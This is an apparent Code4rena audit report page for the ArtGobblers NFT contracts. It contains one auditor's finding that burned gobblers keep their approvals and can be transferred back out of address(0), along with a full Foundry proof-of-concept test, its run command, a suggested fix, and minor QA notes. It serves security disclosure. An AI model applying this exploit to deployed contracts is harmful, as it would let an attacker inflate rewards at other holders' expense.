Platform: Code4rena
Start Date: 20/09/2022
Pot Size: $100,000 USDC
Total HM: 4
Participants: 109
Period: 7 days
Judge: GalloDaSballo
Id: 163
League: ETH
Rank: 19/109
Findings: 2
Award: $1,913.41
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: philogy
Also found by: KIntern_NA, auditor0517, bin2chen, cccz, hansfriese, hyh, ladboy233, m9800, pauliax, pedroais, ronnyx2017, wagmi, wastewa, zzykxx
https://github.com/code-423n4/2022-09-artgobblers/blob/main/src/ArtGobblers.sol#L432-L442
The mintLegendaryGobbler
function burn standard gobblers by setting their owner to address(0) without deleting the getApproved[id]
. So the original owner can setApproval for himself address and transfer the gobbler token back to any address from the address(0). And the emissionMultiple
will be added as a normal transfer, the attacker will get triple emissionMultiple.
Add this function to the ArtGobblers.t.sol test:
function testMintLegendaryGobblerAndGetBack() public { uint256 startTime = block.timestamp + 30 days; vm.warp(startTime); // Mint full interval to kick off first auction. mintGobblerToAddress(users[0], gobblers.LEGENDARY_AUCTION_INTERVAL()); uint256 cost = gobblers.legendaryGobblerPrice(); assertEq(cost, 69); setRandomnessAndReveal(cost, "seed"); uint256 emissionMultipleSum; for (uint256 curId = 1; curId <= cost; curId++) { ids.push(curId); assertEq(gobblers.ownerOf(curId), users[0]); // diff here vm.prank(users[0]); gobblers.approve(users[0], curId); emissionMultipleSum += gobblers.getGobblerEmissionMultiple(curId); } assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum); vm.prank(users[0]); uint256 mintedLegendaryId = gobblers.mintLegendaryGobbler(ids); // Legendary is owned by user. assertEq(gobblers.ownerOf(mintedLegendaryId), users[0]); assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum * 2); assertEq(gobblers.getGobblerEmissionMultiple(mintedLegendaryId), emissionMultipleSum * 2); for (uint256 i = 0; i < ids.length; i++) { hevm.expectRevert("NOT_MINTED"); gobblers.ownerOf(ids[i]); } // now, get back uint appendEmissionMultipleSum; for (uint256 i = 0; i < ids.length; i++) { vm.startPrank(users[0]); gobblers.transferFrom(address(0), users[0], ids[i]); vm.stopPrank(); assertEq(gobblers.ownerOf(ids[i]), users[0]); appendEmissionMultipleSum += gobblers.getGobblerEmissionMultiple(ids[i]); } // and the emissionMultiple is added too. assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum * 2 + appendEmissionMultipleSum); }
Run and pass the test
forge test --match-contract ArtGobblersTest --match-test testMintLegendaryGobblerAndGetBack -v
delete getApproved[id];
or add a burn function for the Gobbler.
#0 - csanuragjain
2022-09-27T17:39:26Z
Seems like duplicate of https://github.com/code-423n4/2022-09-artgobblers-findings/issues/389
#1 - GalloDaSballo
2022-10-02T14:11:53Z
🌟 Selected for report: IllIllI
Also found by: 0x1f8b, 0x4non, 0x52, 0x5rings, 0xNazgul, 0xRobocop, 0xSmartContract, 0xdeadbeef, 0xsanson, 8olidity, Amithuddar, Aymen0909, B2, B353N, CertoraInc, Ch_301, Chom, CodingNameKiki, Deivitto, ElKu, Funen, JC, JohnnyTime, Kresh, Lambda, Noah3o6, RaymondFam, ReyAdmirado, RockingMiles, Rolezn, Sm4rty, SuldaanBeegsi, Tadashi, TomJ, Tomio, V_B, Waze, __141345__, a12jmx, ak1, arcoun, asutorufos, aviggiano, berndartmueller, bharg4v, bin2chen, brgltd, bulej93, c3phas, catchup, cccz, ch0bu, cryptonue, cryptphi, csanuragjain, delfin454000, devtooligan, djxploit, durianSausage, eighty, erictee, exd0tpy, fatherOfBlocks, giovannidisiena, hansfriese, ignacio, joestakey, ladboy233, lukris02, m9800, malinariy, martin, minhtrng, obront, oyc_109, pedr02b2, pedroais, pfapostol, philogy, prasantgupta52, rbserver, ronnyx2017, rotcivegaf, rvierdiiev, sach1r0, shung, simon135, throttle, tnevler, tonisives, wagmi, yixxas, zkhorse, zzykxx, zzzitron
55.1985 USDC - $55.20
Lines of code:
It's always zero in the event log because the RequestId is uninitialized.
├─ [58991] ArtGobblers::requestRandomSeed() │ ├─ emit RandomnessRequested(user: RandProviderTest: [0x62d69f6867a0a084c6d313943dc22023bc263691], toBeRevealed: 1) │ ├─ [46413] ChainlinkV1RandProvider::requestRandomBytes() │ │ ├─ emit RandomBytesRequested(requestId: 0x0000000000000000000000000000000000000000000000000000000000000000) <--- here
Lines of code:
It returns the result rounded down.
The result of price functions that calculate users spend should always be rounded up
It is a bad practice to name local variables and global variables the same.
address owner
in the gobble function.
Lines of code:
https://github.com/code-423n4/2022-09-artgobblers/blob/main/src/ArtGobblers.sol#L730-L733
#0 - GalloDaSballo
2022-10-06T19:37:45Z
R
Not sold, would have liked more detail
L
1L 1R